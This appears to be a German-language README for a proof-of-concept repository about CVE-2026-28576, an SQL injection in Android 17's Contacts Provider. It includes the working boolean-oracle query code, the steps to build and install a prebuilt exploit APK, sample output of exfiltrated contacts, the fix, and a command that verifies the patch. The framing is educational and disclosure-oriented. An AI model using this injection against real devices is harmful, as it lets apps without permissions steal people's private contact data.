
Bildungsbezogener Proof-of-Concept, der eine SQL-Injection-Schwachstelle im Contacts Provider von Android 17 demonstriert und es einer App ohne Berechtigungen ermöglicht, die gesamte Kontaktdatenbank über eine Einzelkontakt-URI-Gewährung zu exfiltrieren.
Ein ausgewählter Kontakt, alle Kontakte: Ein targetSdk-Kompatibilitäts-Gate verwandelt eine Einzelkontakt-Picker-Berechtigung in einen vollständigen Datenbank-Dump der Kontakte.
Android 17 hat den Contacts Provider gegen SQL-Injection mit setStrictColumns() / setStrictGrammar() gehärtet – aber die Härtung wurde hinter einer targetSdk-gesteuerten Kompatibilitätsänderung ausgeliefert (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Jede App, die auf SDK 36 oder niedriger zielt, überspringt die strikten Prüfungen stillschweigend und kann Boolesche-Orakel-Subqueries in der Query-selection verstecken, um die gesamte Kontaktdatenbank über eine Einzelkontakt-URI-Berechtigung auszulesen. Kein READ_CONTACTS, überhaupt keine Berechtigungen.
Hinweis: Wir haben diese Schwachstelle nicht entdeckt. Dieses Repository enthält unsere unabhängige Analyse, Reproduktion und pädagogischen PoC, um der Sicherheits-Community zu helfen, die Fehlerklasse zu verstehen: Sicherheitsfixes, die hinter
@EnabledAfter(targetSdkVersion)stehen, lassen jede App mit Legacy-Target auf dem verwundbaren Pfad.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Schweregrad | Hoch im Bulletin; das GitHub-Advisory bewertet es mit CVSS v4 10.0 (Kritisch) – angesichts der Voraussetzungen wohl eher hoch |
| Komponente | Contacts Provider (ContactsProvider2.queryLocal()) |
| Grundursache | ENFORCE_STRICT_SQL_CHECKS-Kompatibilitätsänderung hinter @EnabledAfter(BAKLAVA) |
| Auswirkung | Jede App mit einer Einzelkontakt-URI-Berechtigung liest die gesamte Kontaktdatenbank ohne READ_CONTACTS |
| Betroffen | Android 17, Sicherheits-Patch-Level < 2026-07-01 |
| Behoben | Android 17 Security Bulletin |
Ausführlicher Artikel mit Screenshots und Demo-Video: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # PoC-Exploit-App (UI + System-Kontaktpicker)
│ ├── src/ # MainActivity.java — Picker + Boolesches-Orakel-Exploit
│ ├── AndroidManifest.xml # NULL Berechtigungen, targetSdk 36
│ └── build.sh # Build ohne Gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # Vorgebauter PoC-APK (debug-signiert, installierbereit)
├── REPRODUCE.md # Vollständige Schritt-für-Schritt-Reproduktionsanleitung
├── evidence-*.log # Erfasste verwundbare / gepatchte Läufe
└── README.md
Du benötigst einen Android-17-Emulator mit einem Sicherheits-Patch-Level vor 2026-07-01
(wir haben AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 verwendet – ein Beta-Image, das noch das verwundbare Kompatibilitäts-Gate trägt).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Patch-Level vor dem Fix verifizieren
adb shell getprop ro.build.version.security_patch
# Ein paar Opfer-Kontakte einfügen (als shell, die Kontaktberechtigungen besitzt)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
Siehe REPRODUCE.md für die vollständige Kontakt-Befüllung und beide Laufvarianten.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
Auf dem Bildschirm:
checkUriPermission -> 0) und den einen Kontakt, den sie legitimerweise sehen darf.Erfordert Android SDK (build-tools 36.0.0, platform android-37.0) und ein JDK 17. Kein Gradle nötig:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, KEINE Berechtigungen)
Die Berechtigungsebene funktioniert einwandfrei. Der Kontaktpicker von Android 17 übergibt der App eine schreibgeschützte URI-Berechtigung für genau einen Kontakt: content://com.android.contacts/contacts/lookup/<key>/1. Direkte Abfragen von irgendetwas anderem werden mit einer SecurityException verweigert.
Die SQL-Ebene tut das nicht. Da der PoC auf SDK 36 zielt, gibt CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) false zurück und der Provider überspringt setStrictColumns() / setStrictGrammar(). Das immer aktive setStrict(true)-Klammer-Wrapping stoppt nur Klausel-Ausbrüche wie ') OR 1=1 --; gegen ausbalancierte Subqueries tut es nichts.
Boolesche-Orakel-Injection. Die App stellt eine gewöhnlich aussehende Abfrage gegen ihre gewährte URI mit einer in der Selection versteckten Subquery:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
Wenn das erratene Zeichen übereinstimmt, kommt die gewährte Zeile zurück (cursor.getCount() == 1); andernfalls ist der Cursor leer. Eine Abfrage pro Zeichen-Rateversuch, iteriert über LIMIT 1 OFFSET k für jede Zeile und jeden Mimetype – eine Telefonnummer fällt in unter einer Sekunde, die gesamte Datenbank in deutlich unter einer Minute.
Auf einem verwundbaren Android-17-Build exfiltriert die App ohne Berechtigungen alle Namen, Telefonnummern und E-Mails über eine Berechtigung für einen einzelnen Kontakt (siehe evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
Der Fix dreht Änderung 484953293 so um, dass sie für alle Aufrufer unabhängig vom targetSdk gilt – eine einzige gelöschte Annotation (öffentliche Variante: GrapheneOS-Commit c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Du kannst das exakt gepatchte Verhalten auf einem verwundbaren Build reproduzieren, ohne etwas zu flashen:
adb shell am compat enable 484953293 com.poc.cve202628576
# Dieselbe Abfrage stirbt jetzt vor SQLite:
# IllegalArgumentException: Invalid token SELECT
Siehe evidence-patched-run.log.